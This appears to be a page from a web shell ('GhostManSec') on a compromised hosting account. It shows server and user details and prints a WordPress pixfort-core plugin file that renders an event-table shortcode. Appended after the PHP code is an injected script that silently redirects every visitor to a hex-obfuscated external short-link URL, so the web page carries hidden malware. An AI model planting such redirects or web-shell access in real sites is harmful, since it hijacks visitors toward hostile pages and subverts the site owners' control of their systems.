GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/shortcodes/event.php
<?php


/* ---------------------------------------------------------------------------
 * Feature List [pix_event] [/pix_event]
* --------------------------------------------------------------------------- */
if( ! function_exists( 'sc_pix_event' ) )
{
	function sc_pix_event( $attr, $content = null )
	{
		extract(shortcode_atts(array(
			'features'  => '',
			'content_size'  => '',
			'content_color'  => 'body-default',
			'content_custom_color'  => '',
			'icon_color'  => 'primary',
			'custom_icon_color'  => '',
			'animation' 	=> '',
			'delay' 	=> '0',
			'css' 		=> '',
		), $attr));

		$css_class = '';
		if(function_exists('vc_shortcode_custom_css_class')){
		    $css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, vc_shortcode_custom_css_class( $css, ' ' ) );
		}

		$c_color = '';
		$output = '';
		$c_custom_color = '';
		if(!empty($content_color)){
			if($content_color!='custom'){
				$c_color = 'text-'.$content_color;
			}else{
				$c_custom_color = 'style="color:'.$content_custom_color.';"';
			}
		}

		$element_id = "pix-event-".wp_rand(0,10000000);
        $i_color = '';
		$i_custom_color = '';
		if(!empty($icon_color)){
			if($icon_color!='custom'){
				$i_color = 'text-'.$icon_color;
			}else{
				$i_custom_color .= 'style="color:'.$custom_icon_color.';"';
				$icon_css = '#'.$element_id.' svg path { fill: '.$custom_icon_color.'; }';
				$output .= '<style type="text/css">';
					$output .= esc_attr($icon_css);
				$output .= '</style>';
				// wp_add_inline_style( 'pix-event-icon-color', $icon_css );
			}
		}else{
			$i_color = $c_color;
		}

		$anim_type = '';
		$anim_delay = '';
		$anim_class = '';
		if(!empty($animation)){
			$anim_type = 'data-anim-type="'.$animation.'"';
			$anim_delay = 'data-anim-delay="'.$delay.'"';
			$anim_class = 'animate-in';
		}
		$elementor = false;
		if(is_array($features)){
			$features_arr = $features;
			$elementor = true;
		}else{
			if(function_exists('vc_param_group_parse_atts')){
				$features_arr = vc_param_group_parse_atts( $features );
			}
		}
        // $features_arr = vc_param_group_parse_atts( $features );

        $output .= '<div class="slide-in-container w-100 '. esc_attr( $css_class ) .'" >';
        $output .= '<div class="" id="'.$element_id.'">';

		$output .= '<table class="table pix-event-table mb-0 table-borderless font-weight-bold '.$content_size.' " '.$c_custom_color.'>
					  <tbody>';

            foreach ($features_arr as $key => $value) {
                // $output .= '<div class="'.$content_size.' '.$c_color.'  py-2" '.$c_custom_color.'>';
                //          if(!empty($value['icon'])) {
                //              $output .= '<i class="'.$value['icon'].' mr-2 '.$i_color.'" '.$i_custom_color.'></i>';
                //          }
                //          if(!empty($value['text'])) $output .= $value['text'];
                // $output .= '</div>';
				$time = empty($value['time']) ? '':$value['time'];
				$title = empty($value['title']) ? '':$value['title'];
				$text = empty($value['text']) ? '':$value['text'];
				$output .= '<tr class="'.$anim_class.'" '.$anim_type.' '.$anim_delay.'>
							  <th scope="row" class="'.$i_color.'">'.pix_load_inline_svg(PIX_CORE_PLUGIN_DIR.'/functions/images/blog/blog-post-date-icon.svg').'</th>
							  <td class="text-left '.$c_color.'">'.$time.'</td>
							  <td class="'.$c_color.'">'.$title.'</td>
							  <td class="text-right '.$c_color.'">'.$text.'</td>
							</tr>';
				$delay += 100;
				$anim_delay = 'data-anim-delay="'.$delay.'"';
            }

			$output .= '
						  </tbody>
						</table>';



        $output .= '</div>';
        $output .= '</div>';

		return $output;
	}
}


add_shortcode( 'pix_event', 'sc_pix_event' );

 ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>